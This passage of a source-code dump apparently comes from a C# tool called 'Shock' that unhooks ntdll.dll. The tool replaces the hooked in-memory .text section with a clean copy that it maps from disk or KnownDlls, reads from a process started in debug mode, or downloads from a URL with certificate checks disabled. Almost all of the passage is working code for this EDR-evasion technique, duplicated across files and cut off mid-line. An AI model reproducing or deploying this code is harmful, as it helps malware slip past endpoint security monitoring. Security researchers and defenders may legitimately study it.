| IntPtr dll_base = (IntPtr)1337; 224 | while (dll_base != IntPtr.Zero) 225 | { 226 | next_flink = next_flink - 0x10; 227 | // Get DLL base address 228 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset); 229 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset); 230 | 231 | // Get DLL name from buffer address 232 | String char_aux = null; 233 | String base_dll_name = ""; 234 | while (char_aux != "") 235 | { 236 | char_aux = Marshal.PtrToStringAnsi(buffer); 237 | buffer += 2; 238 | base_dll_name += char_aux; 239 | } 240 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10); 241 | 242 | // Compare with DLL name we are searching 243 | if (dll_name.ToLower() == base_dll_name.ToLower()) 244 | { 245 | return dll_base; 246 | } 247 | } 248 | 249 | return IntPtr.Zero; 250 | } 251 | 252 | 253 | // Map ntdl.dll from the file in disk and return view address 254 | public static IntPtr MapNtdllFromDisk(string ntdll_path) 255 | { 256 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 257 | 258 | // CreateFileA 259 | if (hFile == IntPtr.Zero) 260 | { 261 | Console.WriteLine("[-] Error calling CreateFileA"); 262 | Environment.Exit(0); 263 | } 264 | 265 | // CreateFileMappingA 266 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, ""); 267 | if (hSection == IntPtr.Zero) 268 | { 269 | Console.WriteLine("[-] Error calling CreateFileMappingA"); 270 | Environment.Exit(0); 271 | } 272 | 273 | // MapViewOfFile 274 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0); 275 | if (pNtdllBuffer == IntPtr.Zero) 276 | { 277 | Console.WriteLine("[-] Error calling MapViewOfFile"); 278 | Environment.Exit(0); 279 | } 280 | 281 | // CloseHandle 282 | bool createfile_ch = CloseHandle(hFile); 283 | bool createfilemapping_ch = CloseHandle(hSection); 284 | if (!createfile_ch || !createfilemapping_ch) 285 | { 286 | Console.WriteLine("[-] Error calling CloseHandle"); 287 | Environment.Exit(0); 288 | } 289 | return pNtdllBuffer; 290 | } 291 | 292 | 293 | // Map ntdl.dll from the file in KnownDlls folder and return view address 294 | public static IntPtr MapNtdllFromKnownDlls() 295 | { 296 | // Initialize OBJECT_ATTRIBUTES struct 297 | string dll_name = "\\KnownDlls\\ntdll.dll"; 298 | 299 | // If 32-bit process the path changes 300 | if (IntPtr.Size == 4) 301 | { 302 | dll_name = "\\KnownDlls32\\ntdll.dll"; 303 | } 304 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE); 305 | 306 | // NtOpenSection 307 | IntPtr hSection = IntPtr.Zero; 308 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute); 309 | if (NtStatus != 0) 310 | { 311 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X")); 312 | Environment.Exit(0); 313 | } 314 | 315 | // MapViewOfFile 316 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0); 317 | if (pNtdllBuffer == IntPtr.Zero) 318 | { 319 | Console.WriteLine("[-] Error calling MapViewOfFile"); 320 | Environment.Exit(0); 321 | } 322 | 323 | // CloseHandle 324 | bool createfilemapping_ch = CloseHandle(hSection); 325 | if (!createfilemapping_ch) 326 | { 327 | Console.WriteLine("[-] Error calling CloseHandle"); 328 | Environment.Exit(0); 329 | } 330 | 331 | return pNtdllBuffer; 332 | } 333 | 334 | 335 | public static int[] GetTextSectionInfo(IntPtr ntdl_address) 336 | { 337 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 338 | 339 | // Check MZ Signature 340 | byte[] data = new byte[2]; 341 | IntPtr signature_addr = ntdl_address; 342 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _); 343 | string signature_dos_header = System.Text.Encoding.Default.GetString(data); 344 | if (signature_dos_header != "MZ") 345 | { 346 | Console.WriteLine("[-] Incorrect DOS header signature"); 347 | Environment.Exit(0); 348 | } 349 | 350 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes 351 | data = new byte[4]; 352 | IntPtr e_lfanew_addr = ntdl_address + 0x3C; 353 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _); 354 | int e_lfanew = BitConverter.ToInt32(data, 0); 355 | 356 | // Check PE Signature 357 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew; 358 | data = new byte[2]; 359 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _); 360 | string signature_nt_header = System.Text.Encoding.Default.GetString(data); 361 | if (signature_nt_header != "PE") 362 | { 363 | Console.WriteLine("[-] Incorrect NT header signature"); 364 | Environment.Exit(0); 365 | } 366 | 367 | // Check Optional Headers Magic field value 368 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24 369 | data = new byte[4]; 370 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _); 371 | int optional_header_magic = BitConverter.ToInt16(data, 0); 372 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B) 373 | { 374 | Console.WriteLine("[-] Incorrect Optional Header Magic field value"); 375 | Environment.Exit(0); 376 | } 377 | 378 | // SizeOfCode 379 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte) 380 | data = new byte[4]; 381 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _); 382 | int sizeofcode = BitConverter.ToInt32(data, 0); 383 | 384 | // BaseOfCode 385 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; 386 | data = new byte[4]; 387 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _); 388 | int baseofcode = BitConverter.ToInt32(data, 0); 389 | 390 | int[] result = { baseofcode, sizeofcode }; 391 | return result; 392 | } 393 | 394 | 395 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address 396 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path) 397 | { 398 | // CreateProcess in DEBUG mode 399 | STARTUPINFO si = new STARTUPINFO(); 400 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si); 401 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 402 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi); 403 | if (!createprocess_res) 404 | { 405 | Console.WriteLine("[-] Error calling CreateProcess"); 406 | Environment.Exit(0); 407 | } 408 | 409 | // Ntdll .Text Section Address and Size from local process 410 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 411 | int[] result = GetTextSectionInfo(localNtdllHandle); 412 | int localNtdllTxtBase = result[0]; 413 | int localNtdllTxtSize = result[1]; 414 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 415 | 416 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer) 417 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle 418 | byte[] ntdllBuffer = new byte[localNtdllTxtSize]; 419 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _); 420 | if (readprocmem_res == 0) 421 | { 422 | Console.WriteLine("[-] Error calling ReadProcessMemory"); 423 | Environment.Exit(0); 424 | } 425 | 426 | // Get pointer to the buffer containing ntdll.dll 427 | IntPtr pNtdllBuffer = IntPtr.Zero; 428 | fixed (byte* p = ntdllBuffer) 429 | { 430 | pNtdllBuffer = (IntPtr)p; 431 | } 432 | 433 | // Terminate and close handles in debug process 434 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId); 435 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0); 436 | if (debugstop_res == false || terminateproc_res == false) 437 | { 438 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess"); 439 | Environment.Exit(0); 440 | } 441 | bool closehandle_proc = CloseHandle(pi.hProcess); 442 | bool closehandle_thread = CloseHandle(pi.hThread); 443 | if (!closehandle_proc || !closehandle_thread) 444 | { 445 | Console.WriteLine("[-] Error calling CloseHandle"); 446 | Environment.Exit(0); 447 | } 448 | 449 | return pNtdllBuffer; 450 | } 451 | 452 | 453 | // Overwrite hooked ntdll .text section with a clean version 454 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize) 455 | { 456 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY 457 | uint dwOldProtection; 458 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection); 459 | if (!vp1_res) 460 | { 461 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)"); 462 | Environment.Exit(0); 463 | } 464 | 465 | // Copy from one address to the other 466 | unsafe 467 | { 468 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize); 469 | } 470 | 471 | // VirtualProtect back to PAGE_EXECUTE_READ 472 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection); 473 | if (!vp2_res) 474 | { 475 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)"); 476 | Environment.Exit(0); 477 | } 478 | } 479 | 480 | 481 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url) 482 | { 483 | Console.WriteLine("[+] Getting payload from url: " + dll_url); 484 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 485 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12; 486 | byte[] buf; 487 | using (System.Net.WebClient myWebClient = new System.Net.WebClient()) 488 | { 489 | try 490 | { 491 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 492 | buf = myWebClient.DownloadData(dll_url); 493 | fixed (byte* p = buf) 494 | { 495 | IntPtr ptr = (IntPtr)p; 496 | return ptr; 497 | } 498 | } 499 | catch (Exception ex) 500 | { 501 | Console.WriteLine(ex.ToString()); 502 | Environment.Exit(0); 503 | } 504 | } 505 | return IntPtr.Zero; 506 | } 507 | 508 | 509 | public static void ReplaceLibrary(string option, string wildcard_field) 510 | { 511 | // Clean DLL 512 | IntPtr unhookedNtdllTxt = IntPtr.Zero; 513 | switch (option) 514 | { 515 | // From file in disk 516 | case "disk": 517 | if (wildcard_field == "") { 518 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll"; 519 | } 520 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field); 521 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 522 | break; 523 | 524 | // From KnownDlls folder 525 | case "knowndlls": 526 | unhookedNtdllHandle = MapNtdllFromKnownDlls(); 527 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 528 | break; 529 | 530 | // From a process created in DEBUG mode 531 | case "debugproc": 532 | if (wildcard_field == "") 533 | { 534 | wildcard_field = "c:\\windows\\system32\\calc.exe"; 535 | } 536 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field); 537 | break; 538 | 539 | // From a process created in DEBUG mode 540 | case "download": 541 | if (wildcard_field == "") 542 | { 543 | wildcard_field = "http://127.0.0.1/ntdll.dll"; 544 | } 545 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field); 546 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll; 547 | break; 548 | 549 | // Default: Show usage message 550 | default: 551 | return; 552 | } 553 | 554 | // Local DLL 555 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 556 | int[] result = GetTextSectionInfo(localNtdllHandle); 557 | int localNtdllTxtBase = result[0]; 558 | int localNtdllTxtSize = result[1]; 559 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 560 | 561 | // Replace DLL 562 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X")); 563 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize); 564 | } 565 | } 566 | } 567 | -------------------------------------------------------------------------------- /Shock/NT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | 6 | namespace Shock 7 | { 8 | internal class NT 9 | { 10 | //////////////////// FUNCTIONS //////////////////// 11 | [DllImport("kernel32.dll", SetLastError = true)] 12 | public static extern IntPtr CreateFileA( 13 | string lpFileName, 14 | uint dwDesiredAccess, 15 | uint dwShareMode, 16 | uint lpSecurityAttributes, 17 | uint dwCreationDisposition, 18 | uint dwFlagsAndAttributes, 19 | uint hTemplateFile 20 | ); 21 | 22 | [DllImport("kernel32.dll", SetLastError = true)] 23 | public static extern bool VirtualProtect( 24 | IntPtr lpAddress, 25 | uint dwSize, 26 | uint flNewProtect, 27 | out uint lpflOldProtect 28 | ); 29 | 30 | [DllImport("Kernel32.dll", SetLastError = true)] 31 | public static extern bool CloseHandle( 32 | IntPtr handle 33 | ); 34 | 35 | [DllImport("kernel32.dll", SetLastError = true)] 36 | public static extern IntPtr CreateFileMappingA( 37 | IntPtr hFile, 38 | uint lpFileMappingAttributes, 39 | uint flProtect, 40 | uint dwMaximumSizeHigh, 41 | uint dwMaximumSizeLow, 42 | string lpName 43 | ); 44 | 45 | [DllImport("kernel32.dll", SetLastError = true)] 46 | public static extern IntPtr MapViewOfFile( 47 | IntPtr hFileMappingObject, 48 | uint dwDesiredAccess, 49 | uint dwFileOffsetHigh, 50 | uint dwFileOffsetLow, 51 | uint dwNumberOfBytesToMap 52 | ); 53 | 54 | [DllImport("ntdll.dll", SetLastError = true)] 55 | public static extern uint NtQueryInformationProcess( 56 | IntPtr processHandle, 57 | int processInformationClass, 58 | IntPtr pbi, 59 | uint processInformationLength, 60 | out uint returnLength 61 | ); 62 | 63 | [DllImport("kernel32.dll", SetLastError = true)] 64 | public static extern uint ReadProcessMemory( 65 | IntPtr hProcess, 66 | IntPtr lpBaseAddress, 67 | [Out] byte[] lpBuffer, 68 | int dwSize, 69 | out uint lpNumberOfBytesRead 70 | ); 71 | 72 | [DllImport("ntdll.dll", SetLastError = true)] 73 | public static extern uint NtOpenSection( 74 | ref IntPtr FileHandle, 75 | int DesiredAccess, 76 | ref OBJECT_ATTRIBUTES ObjectAttributes 77 | ); 78 | 79 | 80 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes) 81 | { 82 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES(); 83 | objectAttributes.RootDirectory = IntPtr.Zero; 84 | UNICODE_STRING objectName = new UNICODE_STRING(); 85 | objectName.Buffer = dll_name; 86 | objectName.Length = (ushort)(dll_name.Length * 2); 87 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2); 88 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName)); 89 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false); 90 | objectAttributes.SecurityDescriptor = IntPtr.Zero; 91 | objectAttributes.SecurityQualityOfService = IntPtr.Zero; 92 | objectAttributes.Attributes = Attributes; 93 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes)); 94 | return objectAttributes; 95 | } 96 | 97 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 98 | public static extern bool CreateProcess( 99 | string lpApplicationName, 100 | string lpCommandLine, 101 | IntPtr lpProcessAttributes, 102 | IntPtr lpThreadAttributes, 103 | bool bInheritHandles, 104 | uint dwCreationFlags, 105 | IntPtr lpEnvironment, 106 | string lpCurrentDirectory, 107 | ref STARTUPINFO lpStartupInfo, 108 | out PROCESS_INFORMATION lpProcessInformation 109 | ); 110 | 111 | [DllImport("kernel32.dll")] 112 | public static extern bool DebugActiveProcessStop( 113 | int dwProcessId 114 | ); 115 | 116 | [DllImport("kernel32.dll")] 117 | public static extern bool TerminateProcess( 118 | IntPtr hProcess, 119 | uint uExitCode 120 | ); 121 | 122 | ///////////////////// STRUCTS ///////////////////// 123 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 124 | public struct UNICODE_STRING 125 | { 126 | public ushort Length; 127 | public ushort MaximumLength; 128 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer; 129 | } 130 | 131 | [StructLayout(LayoutKind.Sequential)] 132 | public struct OBJECT_ATTRIBUTES 133 | { 134 | public uint Length; 135 | public IntPtr RootDirectory; 136 | public IntPtr ObjectName; 137 | public uint Attributes; 138 | public IntPtr SecurityDescriptor; 139 | public IntPtr SecurityQualityOfService; 140 | } 141 | 142 | [StructLayout(LayoutKind.Sequential)] 143 | public struct STARTUPINFO 144 | { 145 | public int cb; 146 | public IntPtr lpReserved; 147 | public IntPtr lpDesktop; 148 | public IntPtr lpTitle; 149 | public int dwX; 150 | public int dwY; 151 | public int dwXSize; 152 | public int dwYSize; 153 | public int dwXCountChars; 154 | public int dwYCountChars; 155 | public int dwFillAttribute; 156 | public int dwFlags; 157 | public short wShowWindow; 158 | public short cbReserved2; 159 | public IntPtr lpReserved2; 160 | public IntPtr hStdInput; 161 | public IntPtr hStdOutput; 162 | public IntPtr hStdError; 163 | } 164 | 165 | [StructLayout(LayoutKind.Sequential)] 166 | public struct PROCESS_INFORMATION 167 | { 168 | public IntPtr hProcess; 169 | public IntPtr hThread; 170 | public int dwProcessId; 171 | public int dwThreadId; 172 | } 173 | 174 | //////////////////// CONSTANTS //////////////////// 175 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa 176 | public const uint FILE_SHARE_READ = 0x00000001; 177 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea 178 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants 179 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants 180 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga 181 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 182 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80; 183 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040; 184 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 185 | public const uint DEBUG_PROCESS = 0x00000001; 186 | public const int offset_mappeddll = 4096; 187 | public const int offset_fromdiskdll = 0x400; 188 | 189 | 190 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name) 191 | { 192 | uint process_basic_information_size = 48; 193 | int peb_offset = 0x8; 194 | int ldr_offset = 0x18; 195 | int inInitializationOrderModuleList_offset = 0x30; 196 | int flink_dllbase_offset = 0x20; 197 | int flink_buffer_offset = 0x50; 198 | 199 | // Get current process handle 200 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 201 | 202 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 203 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 204 | 205 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 206 | IntPtr pbi_addr = IntPtr.Zero; 207 | fixed (byte* p = pbi_byte_array) 208 | { 209 | pbi_addr = (IntPtr)p; 210 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _); 211 | } 212 | 213 | // Get PEB Base Address 214 | IntPtr peb_pointer = pbi_addr + peb_offset; 215 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 216 | 217 | // Get Ldr 218 | IntPtr ldr_pointer = pebaddress + ldr_offset; 219 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer); 220 | 221 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct 222 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 223 | 224 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList); 225 | IntPtr dll_base = (IntPtr)1337; 226 | while (dll_base != IntPtr.Zero) 227 | { 228 | next_flink = next_flink - 0x10; 229 | // Get DLL base address 230 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset); 231 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset); 232 | 233 | // Get DLL name from buffer address 234 | String char_aux = null; 235 | String base_dll_name = ""; 236 | while (char_aux != "") 237 | { 238 | char_aux = Marshal.PtrToStringAnsi(buffer); 239 | buffer += 2; 240 | base_dll_name += char_aux; 241 | } 242 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10); 243 | 244 | // Compare with DLL name we are searching 245 | if (dll_name.ToLower() == base_dll_name.ToLower()) 246 | { 247 | return dll_base; 248 | } 249 | } 250 | 251 | return IntPtr.Zero; 252 | } 253 | 254 | 255 | // Map ntdl.dll from the file in disk and return view address 256 | public static IntPtr MapNtdllFromDisk(string ntdll_path) 257 | { 258 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 259 | 260 | // CreateFileA 261 | if (hFile == IntPtr.Zero) 262 | { 263 | Console.WriteLine("[-] Error calling CreateFileA"); 264 | Environment.Exit(0); 265 | } 266 | 267 | // CreateFileMappingA 268 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, ""); 269 | if (hSection == IntPtr.Zero) 270 | { 271 | Console.WriteLine("[-] Error calling CreateFileMappingA"); 272 | Environment.Exit(0); 273 | } 274 | 275 | // MapViewOfFile 276 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0); 277 | if (pNtdllBuffer == IntPtr.Zero) 278 | { 279 | Console.WriteLine("[-] Error calling MapViewOfFile"); 280 | Environment.Exit(0); 281 | } 282 | 283 | // CloseHandle 284 | bool createfile_ch = CloseHandle(hFile); 285 | bool createfilemapping_ch = CloseHandle(hSection); 286 | if (!createfile_ch || !createfilemapping_ch) 287 | { 288 | Console.WriteLine("[-] Error calling CloseHandle"); 289 | Environment.Exit(0); 290 | } 291 | return pNtdllBuffer; 292 | } 293 | 294 | 295 | // Map ntdl.dll from the file in KnownDlls folder and return view address 296 | public static IntPtr MapNtdllFromKnownDlls() 297 | { 298 | // Initialize OBJECT_ATTRIBUTES struct 299 | string dll_name = "\\KnownDlls\\ntdll.dll"; 300 | 301 | // If 32-bit process the path changes 302 | if (IntPtr.Size == 4) 303 | { 304 | dll_name = "\\KnownDlls32\\ntdll.dll"; 305 | } 306 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE); 307 | 308 | // NtOpenSection 309 | IntPtr hSection = IntPtr.Zero; 310 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute); 311 | if (NtStatus != 0) 312 | { 313 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X")); 314 | Environment.Exit(0); 315 | } 316 | 317 | // MapViewOfFile 318 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0); 319 | if (pNtdllBuffer == IntPtr.Zero) 320 | { 321 | Console.WriteLine("[-] Error calling MapViewOfFile"); 322 | Environment.Exit(0); 323 | } 324 | 325 | // CloseHandle 326 | bool createfilemapping_ch = CloseHandle(hSection); 327 | if (!createfilemapping_ch) 328 | { 329 | Console.WriteLine("[-] Error calling CloseHandle"); 330 | Environment.Exit(0); 331 | } 332 | 333 | return pNtdllBuffer; 334 | } 335 | 336 | 337 | public static int[] GetTextSectionInfo(IntPtr ntdl_address) 338 | { 339 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 340 | 341 | // Check MZ Signature 342 | byte[] data = new byte[2]; 343 | IntPtr signature_addr = ntdl_address; 344 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _); 345 | string signature_dos_header = System.Text.Encoding.Default.GetString(data); 346 | if (signature_dos_header != "MZ") 347 | { 348 | Console.WriteLine("[-] Incorrect DOS header signature"); 349 | Environment.Exit(0); 350 | } 351 | 352 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes 353 | data = new byte[4]; 354 | IntPtr e_lfanew_addr = ntdl_address + 0x3C; 355 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _); 356 | int e_lfanew = BitConverter.ToInt32(data, 0); 357 | 358 | // Check PE Signature 359 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew; 360 | data = new byte[2]; 361 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _); 362 | string signature_nt_header = System.Text.Encoding.Default.GetString(data); 363 | if (signature_nt_header != "PE") 364 | { 365 | Console.WriteLine("[-] Incorrect NT header signature"); 366 | Environment.Exit(0); 367 | } 368 | 369 | // Check Optional Headers Magic field value 370 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24 371 | data = new byte[4]; 372 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _); 373 | int optional_header_magic = BitConverter.ToInt16(data, 0); 374 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B) 375 | { 376 | Console.WriteLine("[-] Incorrect Optional Header Magic field value"); 377 | Environment.Exit(0); 378 | } 379 | 380 | // SizeOfCode 381 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte) 382 | data = new byte[4]; 383 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _); 384 | int sizeofcode = BitConverter.ToInt32(data, 0); 385 | 386 | // BaseOfCode 387 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; 388 | data = new byte[4]; 389 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _); 390 | int baseofcode = BitConverter.ToInt32(data, 0); 391 | 392 | int[] result = { baseofcode, sizeofcode }; 393 | return result; 394 | } 395 | 396 | 397 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address 398 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path) 399 | { 400 | // CreateProcess in DEBUG mode 401 | STARTUPINFO si = new STARTUPINFO(); 402 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si); 403 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 404 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi); 405 | if (!createprocess_res) 406 | { 407 | Console.WriteLine("[-] Error calling CreateProcess"); 408 | Environment.Exit(0); 409 | } 410 | 411 | // Ntdll .Text Section Address and Size from local process 412 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 413 | int[] result = GetTextSectionInfo(localNtdllHandle); 414 | int localNtdllTxtBase = result[0]; 415 | int localNtdllTxtSize = result[1]; 416 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 417 | 418 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer) 419 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle 420 | byte[] ntdllBuffer = new byte[localNtdllTxtSize]; 421 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _); 422 | if (readprocmem_res == 0) 423 | { 424 | Console.WriteLine("[-] Error calling ReadProcessMemory"); 425 | Environment.Exit(0); 426 | } 427 | 428 | // Get pointer to the buffer containing ntdll.dll 429 | IntPtr pNtdllBuffer = IntPtr.Zero; 430 | fixed (byte* p = ntdllBuffer) 431 | { 432 | pNtdllBuffer = (IntPtr)p; 433 | } 434 | 435 | // Terminate and close handles in debug process 436 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId); 437 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0); 438 